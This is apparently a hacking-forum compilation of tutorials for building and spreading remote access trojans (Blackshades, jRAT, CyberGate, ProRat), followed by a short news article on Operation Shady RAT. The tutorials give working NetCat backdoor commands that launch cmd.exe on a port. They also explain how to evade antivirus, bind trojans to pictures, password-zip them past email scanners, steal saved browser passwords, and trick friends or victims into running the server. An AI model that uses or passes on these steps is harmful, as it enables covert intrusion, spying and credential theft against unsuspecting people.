RAT Tutorial

This tutorial will explain how to set up and use the Blackshade RAT, a remote administration tool, with pictures.

Most remote administration tools require port forwarding because for the packets to reach your computer through the router, the router needs to know which computer on the network to send the packets to; you tell the router to forward any packets sent to specific port to a specific address on the network. We also need to set up a no-ip account and host because almost everyone has a dynamic IP address which means your IP address can change any moment and you will loose all your slaves/bots; no-ip prevents this by telling all bots to resolve your no-ip host which tells the bots what your IP address is.
three steps please follow me

Let's get started

Portforwarding

1-Navigate to your router's internal IP address using a browser. This is generally 192.168.0.1 but it varies from model to model; I have a NetGear router. You can Google your router's model name and you will most likely find it.
2- Enter your login details. If you don't know them, ask your parents, if they don't know and your router is furnished by your Internet service provider you can try finding the details they gave you; or you can Google your router's model name and "default password" or something alike. It will generally yield results like "admin admin".

3-Click "Services"

4-Click "Add Custom Service". 
Spoiler

5-Enter a name such as "Remote Administration" and select "TCP/UDP" and enter 1604 into both port fields. Press Apply.

6-Click "Firewall Rules".

Sploiler

7-Under "Inbound Services", press "Add".

Spoiler

8-Select "Remote Administration" from the drop down menu. Make sure it's set to "ALLOW always" for the Action drop down menu.

9-Open command prompt. Hold the Windows button on your keyboard and press R. Type cmd.exe and hit Enter.

Spoiler

10-In the command prompt window, type ipconfig and hit Enter.
11-Find your main adapter's IPV4 address. In my case it's 192.168.0.5. Enter it into the "Send to LAN Server" field



12-Press apply(done)


Setting up no-ip
1-Navigate to no-ip.com in your browser.
2- Click on "Create Account"

3-Click "Sign Up" under Free DNS



4-Enter your details and press "I Accept, Create my Account".



5-You will receive an email with an activation link.
Click it to activate your account.



6-Login to your account and you will be in your control panel, press the large "Add a Host" button.



7-Enter a host name in the Hostname field that doesn't look suspicious. I use "socksproxy1" for example to make it look like it's just a proxy, even though it's not. Choose any domain they have, it doesn't matter; just make sure you remember it.
8-Don't change anything else, it's good as it. Your IP should be in the IP Address field.
9-Press "Create Host".



Purchase Download and setting up blackshade rat 5.2

1-Please Make a account in bshades.eu



2-after registration you go to purchase sectionand buy your bshades rat copy here .this is the best rat ever i have seen 



2-after recive your ret download it rar file and extreact it.password of rar file blackshades

3-open folder and click the client .write your username in the box and login your rat



4-go to settings and select your ports one of conection port and other are transfer port and click to activate.


5-after that go to create server option use right clik and choose create new



6-please saw this section carefully this is the most important part .saw all settings clearly 



7- hit the bulid button



Congratulations! You just port forwarded, set up no-ip, and downloaded + set up Blackshade rat. 
special credit to priya51 

RAT (100% FUD) JRAT

Coded in JAVA



Server scan result

File Info
Report Date: 25.10.2012 05:10:40
Link To Scan: http://elementscanner.com//?RE=631bb...a701268ebbb217
File Name:jRAT.jar
File Size: 147047 bytes

MD5 Hash: 65142d0e8139071bca7d542a0888f907

SHA1 Hash: fc12fc463c28c96ff65f7547f75ceab4d3b42576
Status: Clean
Total Results: 0/35
AVG Free-Clean.
ArcaVir-Clean.
Avast 5-Clean.
AntiVir (Avira)-Clean.
BitDefender-Clean.
VirusBuster Internet Security-Clean.
Clam Antivirus-Clean.
COMODO Internet Security-Clean.
Dr.Web-Clean.
eTrust-Vet-Clean.
F-PROT Antivirus-Clean.
F-Secure Internet Security-Clean.
G Data-Clean.
IKARUS Security-Clean.
Kaspersky Antivirus-Clean.
MS Security Essentials-Clean.
ESET NOD32-Clean.
Norman-Clean.
Norton Antivirus-Clean.
Panda Security-Clean.
A-Squared-Clean.
Quick Heal Antivirus-Clean.
Rising Antivirus-Clean.
Solo Antivirus-Clean.
Sophos-Clean.
Trend Micro Internet Security-Clean.
VBA32 Antivirus-Clean.
Vexira Antivirus-Clean.
Zoner AntiVirus-Clean.
Ad-Aware-Clean.
BullGuard-Clean.
Immunet Antivirus-Clean.
K7 Ultimate-Clean.
mcafree-Clean.
VIPRE-Clean.

Official download link

http://redpois0n.com/products/jrat/download.php  
credit to devilz

Backdoor via Netcat

Most of you are probably asking what is NetCat? To make it simple, 

NetCat/NC makes and accepts Transmission Control Protocol (TCP) 

and User Datagram Protocol (UDP) connections. Literally that's it lol

This is for the newbees who dont know what NC is and want to 

know how to backdoor using this software.


How to make a persistent backdoor with NetCat

This is the overview of what we are going to be doing. The fist thing 

we want to do is put nc.exe, which is the executable file, in 

system32. Then After that we are going to head to CMD and make a 

persistent listener. 

1. Downlaod NC
http://www.downloadnetcat.com/

2. Place NC.exe in system32

3. Go to CMD and type this Command Line.



Code:
nc -v -L -p 80 -e cmd.exe


Let me explain the code, -v is verbose, -L is to make it Listen which 

is different from -l because if you would have put -l parameters 

instead of -L parameters, once you close the CMD window, the NC 

session will be closed as well. -p is the port you want to listen to. -e 

is the executable program you want to launch once the connection is 

established, in our case, command prompt.

Now you can close the window and still have NC listening on port 

80. Now that you have backdoored the remote machine with it, its 

time to connect to it.

On the attacking machine, go to CMD and type this command line:



Code:
nc -v [IpOfTargetMachine] 80


Once you hit enter, you will have CMD access to the remote computer!

  

credit to connhen4mat

TURKOJAN - REMOTE ADMIN PROGRAM.

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.
You can use Turkojan for manage computers,employee monitoring and child monitoring

Download : www.mediafire.com

To read more : http://turkojan.blogspot.com/

CyberGate Tutorial and Free Download

In this article I'll be showing you how to install and setup a Hacking software called "Cybergate".This is a very effective Windows Hacking tool.These genre of Programs are commonly called "RATs (Remote Administration Tools)".It has almost all the features which a budding hacker needs to understand more about the programming and the vulnerabilities of the computer.With this tool you can virtually "CONTROL ANY WINDOWS COMPUTER ON THE PLANET!" .But you have to make sure you install a file called "server.exe" some how or the other.The details I'll be providing here.

Features of CyberGate:

Managers:
File Manager
Process Manager
Service Manager
Device Manager
Window Manager
Regitry Manager
Installed Programs
Active Port list

Spy:
Screen Capture
Webcam Capture
Password Recovery
Keylogger
Audio Capture

Network Tools:
Socks 4/5 Proxy
HTTP Proxy
Send File
Download and Execute
Open Webpage
URL Redirection

Extras:
Dos Prompt
Quick Search (for logs)
Chat
Extras (open-close CD-ROM etc.)
And Alot More!


Setting up and Installing Cybergate:

First of all download the software from this link.Make sure you don't download them from any website as such as it might be infected with some virus.Please make sure you disable your Anti-Virus before doing this as it might be detected as well.Don,t Worry the Anti-Virus is just over precautionary and tons of users worldwide you this software.If no you can always good about it !

File Details: 
Download: Free Download Cybergate v1.07.5 RAT
File Size: 2.28 MB
File Extension: .rar (Compressed Archive)


1. Start off by going to No-IP.com And Register. If You Have An Account There Already, Then Just Log In.

2. Once You've Logged In, Press "Add Host"

3. Now It's Time To "Choose Your Host Name".

Hostname: YourHostName.no-ip.biz
Host Type: DNS Host (A)

Don't Care About The Rest, Once You've Choosen Your Host Name, Press "Create Host" In The Lower Right Bottom.

The Host Is Now Finished! Lets Move On To The No-IP Client.

1. The No-IP Client You Downloaded In The Beginning, Extract It To Your Desktop & Install It.

2. Now When You've Installed It, Open It Up , Log In With Your No-ip Username , Password.

3. When You're Logged In Press "Select Hosts" And Then Check That Little Box With Your Hostname.

Note: Always Have No-IP Open When You Have Cybergate Open!

There! Your No-IP Host !

Setting Up Cybergate 1.07.5

1. Extract The Cybergate File You Downloaded In The Beginning To Your Desktop! Once Extracted, Open It,Wait 20 Seconds For The Agreement To Pass! 

2. When It's Open, Press: Control Center,Start.

3. Press: Control Center , Options , Select Listening Ports

4. Once You've Pressed The "Select Listening Ports" This Window Should Appear:

5.Firstly, Write "100" In That Little Box And Press The Blue Arrow. Then It Should Appear Under "Active Ports"

Active Ports: The Port You Will Forward Later!
Connections: Limit: The Max Amount Of Victims You Can Have.
Connection Password: The Connection Password. Use "123456"
[V] Show Password: (Shows Password)

Once This Is Done, Press "Save"!

6. Now We'll Go To The: Control Center , Build , Create Server.

User: First, Press "New" And Name It To: "Plutonium". Once Done, Press "OK"

Now Just Double Click On "Plutonium" Or Press "Plutonium" And Then Press "Forward"

7. Now We're In The "Connection" Tab.

First, Press "127.0.0.1 - 999" And Then Press Delete.Now Press "Add" And Write Your Hostname In It + :100.Like This:

YourHostName.No-ip.biz:100

Change The Identification To: Cyber
Change The PW To: 123456

Note: If You Want To Try The Server On Yourself, Then Delete Both:

- 127.0.0.1:999
- YourHostName.No-ip.biz

And Replace Them With; 127.0.0.1:100 Since 127.0.0.1 Means "Local Computer or LAN Internet"

Make The DNS/HostName Server First Though!

DNS: Your Host Name, EG:
Quote:
YourHostName.no-ip.biz
Port: The Port You Will Forward Later.
Identification: The slave Name
PW: The Password You Wrote In The Options, "123456"

8. Once You're Done With Theese, You'll Move On To The "Installation" Tab.

9. Have The Same Settings As I Do, And Follow The Instructions In The Image!

Install Directory: Where The Server Installs, 

%System%
%Windows%
%Root%
%Program Files%
%Other%

Use The "System"!

Boot: This Is The "Startup" Option. Have Everything Checked.Press "Random" 5 Times And It Will Startup On Your slave Everytime They Start Their Computer!

Directory: Where The Virus Folder Installs
File Name: What The File Will Be Inside The Folder.
Inject Into: What Process It Injects into, Use Default Browser!
[V] Persistance: Keeps Trying To Inject Until Succed.
[V] Hide File: Hides The File, (Not FUD Though!)
[V] CCD: Changes The Creation Date From 16th July To 4 September 2005.
Mutex: Mutex Of The Server, Just Press Random A Couple Of Times!

There We Go, You've Now Completed The "Installation" Tab! Skip The Message of Keylogger Since They Are Pre-Set Already!

10. You Should Now Have Trumbled Into The "Antis" Tab, Have Everything Checked! (Except SANDBOXIE If You Are Gonna TRY IT ON YOURSELF!)

Ok, The Final Tab.. "Creation Of The Server". Have Every Setting As Me!

[V] Use Icon: Yes
[V] Delayed Execution: (How Many Seconds It Takes Until Your Server Injects And They Pop Up In Your RAT)
[V] Google Chrome PW: Yes, Steals Their GC Passwords :)
[X] Bind Files: No, Get An Real Binder Instead! (Have Your Server Crypted Though First!)
[X] Compress With UPX: Makes The Server Smaller But More AV's Detects It!

So after doing all that you have successfully setup your own RAT server which is ready to be tested on yours friends !

Troubleshooting:

Make Sure That....

1.You are properly port-forwarded if using a router.
2.You have the No-IP Client installed and running.
3.Your DNS entries are correctly spelled when building your server.
4.The password in Listening Ports and the password your server uses are identical.
5.You are Listening on the correct ports.
6.Your Firewall is letting connections through on the port you're listening on.
7.Your server is added to excluded files in your Antivirus and Firewall.

What next ?

Now all you have to do is send this file to your friend and make sure he opens it.Once he does so he just won't realize that you actually infected him and your getting all the data from his computer.Make sure you use it only to prank and not to misuse this tool in any way !


source: http://www.hackmeout.net

How to Hack Email Account Passwords Using ProRat

1. First of all Download ProRat. Once it is downloaded right click on the folder and choose to extract it. A password prompt will come up. The password will be "pro".

2. Open up the program. You should see the following:


3. Next we will create the ProRat Trojan server. Click on the "Create" button in the bottom. Choose "Create ProRat Server".


4. Next put in your IP address so the server could connect to you. If you don’t know your IP address click on the little arrow to have it filled in for you automatically. Next put in your e-mail so that when and if a victim gets infected it will send you a message. We will not be using the rest of the options.


5. Now Open General settings. This tab is the most important tab. In the check boxes, we will choose the server port the program will connect through, the password you will be asked to enter when the victim is infected and you wish to connect with them, and the victim name. As you can see ProRat has the ability to disable the windows firewall and hide itself from being displayed in the task manager.

Here is a quick overview of what they mean and which should be checked:


6. Click on the Bind with File button to continue. Here you will have the option to bind the trojan server file with another file. Remember a trojan can only be executed if a human runs it. So by binding it with a legitimate file like a text document or a game, the chances of someone clicking it go up. Check the bind option and select a file to bind it to. A good suggestion is a picture or an ordinary text document because that is a small file and its easier to send to the people you need.


7. Click on the Server Extensions button to continue. Here you choose what kind of server file to generate. I prefer using .exe files, because it is cryptable and has icon support, but exe’s looks suspicious so it would be smart to change it.


8. Click on Server Icon to continue. Here you will choose an icon for your server file to have. The icons help mask what the file actually is. For my example I will choose the regular text document icon since my file is a text document.

9. After this, press Create server, your server will be in the same folder as ProRat. A new file with name "binded_server" will be created. Rename this file to something describing the picture. A hacker could also put it up as atorrent pretending it is something else, like the latest game that just came out so he could get people to download it.

Very important: Do not open the "binded_server" file on your system.

10. You can send this trojan server via email, pendrive or if you have physical access to the system, go and run the file. You can not send this file via email as "server.exe", because it will be detected as trojan or virus. Password protect this file with ZIP and then email it. Once your victim download this ZIP file, ask him to unlock it using ZIP password. When the victim will double click on the file, he will be in your control.

11. Now, I will show you what happens when a victim installs the server onto his computer and what the hacker could do next.

Once the victim runs the server on his computer, the trojan will be installed onto his computer in the background. The hacker would then get a message telling him that the victim was infected. He would then connect to his computer by typing in his IP address, port and clicking Connect. He will be asked for the password that he made when he created the server. Once he types it in, he will be connected to the victims computer and have full control over it.


12. Now the hacker has a lot of options to choose from as you can see on the right. He has access to all victim's computer files, he can shut down his pc, get all the saved passwords off his computer, send a message to his computer, format his whole hard drive, take a screen shot of his computer, and so much more. Below I’ll show you a few examples.


13. The image below shows the message that the victim would get on his screen if the hacker chose to message him.


14. Below is an image of the victims task bar after the hacker clicks on HideStart Button.


15. Below is an image of what the hacker would see if he chose to take ascreen shot of the victims screen.


As you saw in the above example, a hacker can do a lot of silly things or a lot of damage to the victim. ProRat is a very well known trojan so if the victim has an anti-virus program installed he most likely won’t get infected. Many skilled hackers can program their own viruses and Trojans that can easilybypass anti-virus programs.


source: http://hackerx-malik.blogspot.com

Five Things To Know About Operation Shady RAT

On Tuesday, Vanity Fair published a scoop explaining that cybercriminals have spent more than five years cautiously working to obtain data from more than 70 government agencies, corporations and non-profit groups.

The campaign, named “Operation Shady RAT” — RAT as in “remote access tool” – was discovered by Dmitri Alperovitch, vice president of threat research at security firm McAfee.

While most of the targets have removed the malware, the operation persists. The good news: McAfee gained access to a command-and-control server used by the attackers and has been watching, silently. (U.S. law enforcement officials are working to shut down the operation.)

This morning, McAfee published a 14-page report (.pdf) summarizing its findings.

Here are five things you need to know:

1. 72 organizations were compromised. Among them: the U.S., Canadian, South Korean, Vietnamese, Taiwanese and Indian governments; the United Nations; industrial and energy corporations; electronics and IT firms; news media; defense contractors; real estate firms; sports groups and think tanks.
2. It’s not just North America and Europe. Sure, 49 of the targets were American, but Asian interests tallied 13 targets. Why? Political motivation: Targets that include Olympic committees and political non-profits show that the group was not “interested only in economic gains,” Alperovitch writes in the report.
3. When the coast was determined to be clear, the attackers struck. There were only eight intrusions in 2006, when the logs began, but the pace of activity jumped 260 percent the following years, striking 29 targets. It jumped to 36 victims in 2008 and 38 in 2009 before slowing down, likely because of the availability of countermeasures for these kinds of intrusions.
4. This was a single operation by a single group. But it’s not for the reason you think: “The key to these intrusions is that the adversary is motivated by a massive hunger for secrets and intellectual property; this is different from the immediate financial gratification that drives much of cybercrime, another serious but more manageable threat.”
5. “The only organizations that are exempt from this threat are those that don’t have anything valuable or interesting worth stealing.” Alperovitch said he divides Fortune Global 2000 firms into two categories: those that know they’ve been compromised and those that don’t yet know.

In closing, Alperovitch offers a sobering sense of scope for these kinds of cyberattacks, which he notes have occurred “relentlessly for the past decade” but have only recently gained press.

The loss [of this data] represents a massive economic threat not just to individual companies and industries but to entire countries that face the prospect of decreased economic growth in a suddenly more competitive landscape and the loss of jobs in industries that lose out to unscrupulous competitors in another part of the world, not to mention the national security impact of the loss of sensitive intelligence or defense information.